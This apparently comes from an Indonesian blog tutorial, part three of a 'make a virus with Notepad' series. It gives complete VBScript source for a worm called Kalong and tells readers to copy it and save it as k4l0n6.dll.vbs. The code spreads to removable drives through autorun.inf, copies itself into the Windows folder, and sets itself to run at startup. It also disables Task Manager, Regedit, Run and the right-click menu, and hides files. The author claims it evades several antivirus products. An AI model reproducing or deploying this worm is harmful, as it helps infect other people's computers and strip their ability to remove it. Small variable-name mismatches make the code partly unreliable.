Cara Membuat Virus Dengan Notepad Bag.3

Berikut virus – virus sederhana yang dapat Anda buat hanya dengan menggunakan notepad :

Virus ini di beri nama Kalong.VBS oleh penciptanya. Virus sederhana dengan menggunakan notepad. Buka notepad-nya. Silahkan Copy kode di bawah ini. ‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//

on error resume next<br /> <br /> ‘//–Dim kata-kata berikut ini–//<br /> dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd<br /> <br /> ‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//<br /> isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”<br /> set fs = createobject(“Scripting.FileSystemObject”)<br /> set mf = fs.getfile(Wscript.ScriptFullname)<br /> dim text,size<br /> size = mf.size<br /> check = mf.drive.drivetype<br /> set text = mf.openastextstream(1,-2)<br /> do while not text.atendofstream<br /> rekur = rekur & text.readline<br /> rekur = rekur & vbcrlf<br /> loop<br /> do<br /> <br /> ‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:\Windows)<br /> Set windowpath = fs.getspecialfolder(0)<br /> set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)<br /> tf.attributes = 32<br /> set tf=fs.createtextfile(windowpath & “\batch- k4l0n6.dll.vbs”,2,true)<br /> tf.write rekursif<br /> tf.close<br /> set tf = fs.getfile(windowpath & “\batch- k4l0n6.dll.vbs “)<br /> tf.attributes = 39<br /> ‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//<br /> ‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket<br /> <br /> for each flashdrive in fs.drives<br /> ‘//–Cek Drive–//<br /> If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then<br /> <br /> ‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:\–//<br /> set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)<br /> tf.attributes =32<br /> set tf=fs.createtextfile(flashdrive.path &”\k4l0n6.dll.vbs “,2,true)<br /> tf.write rekursif<br /> tf.close<br /> set tf=fs.getfile(flashdrive.path &”\k4l0n6.dll.vbs “)<br /> tf.attributes = 39<br /> <br /> ‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//<br /> set tf =fs.getfile(flashdrive.path &”\autorun.inf”)<br /> tf.attributes = 32<br /> set tf=fs.createtextfile(flashdrive.path &”\autorun.inf”,2,true)<br /> tf.write isi<br /> tf.close<br /> set tf = fs.getfile(flashdrive.path &”\autorun.inf”)<br /> tf.attributes=39<br /> end if<br /> next<br /> <br /> ‘//–Manipulasi Registry–//<br /> <br /> set kalong = createobject(“WScript.Shell”)<br /> <br /> ‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//<br /> kalong.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title”,” THE KALONG v.s. ZAY “<br /> <br /> ‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//<br /> kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Advanced\Hidden”, “0″, “REG_DWORD”<br /> <br /> ‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//<br /> kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind”, “1″, “REG_DWORD”<br /> kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions”, “1″, “REG_DWORD”<br /> kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”, “1″, “REG_DWORD”<br /> kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools”, “1″, “REG_DWORD”<br /> kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr”, “1″, “REG_DWORD”<br /> <br /> ‘//–Manip – Disable klik kanan–//<br /> kalong.RegWrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu”, “1″, “REG_DWORD”<br /> <br /> ‘//–Manip – Munculkan Pesan Setiap Windows Startup–//<br /> kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”, “Worm Kalong. Variant from Rangga-Zay, don’t panic all data are safe.”<br /> <br /> ‘//–Manip – Aktif setiap Windows Startup–//<br /> kalong.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Systemdir”, windowpath & “\batch- k4l0n6.dll.vbs “<br /> <br /> ‘//–Manip – Ubah RegisteredOwner dan Organization–//<br /> kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization”, “The Batrix”<br /> kalong.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner”,”Kalong”<br /> <br /> ‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//<br /> if check <> 1 then<br /> Wscript.sleep 200000<br /> end if<br /> loop while check <> 1<br /> set sd = createobject(“Wscript.shell”)<br /> sd.run windowpath & “\explorer.exe /e,/select, ” & Wscript.ScriptFullname-

Save code di Notepad dengan cara FILE >> SAVE. Lalu di save as type pilih “All Files (*.*). Simpan dengan nama : k4l0n6.dll.vbs. Virus Worm ini, lebih bagus karena tidak terdeteksi pakai PCMAV RC15, CLAMAV, dan AVAST. Itung-itung ini buat Anda tahu kalau membuat virus/worm tidak perlu membeli software bajakan. Pakai Notepad (dari Windows Original) juga bisa.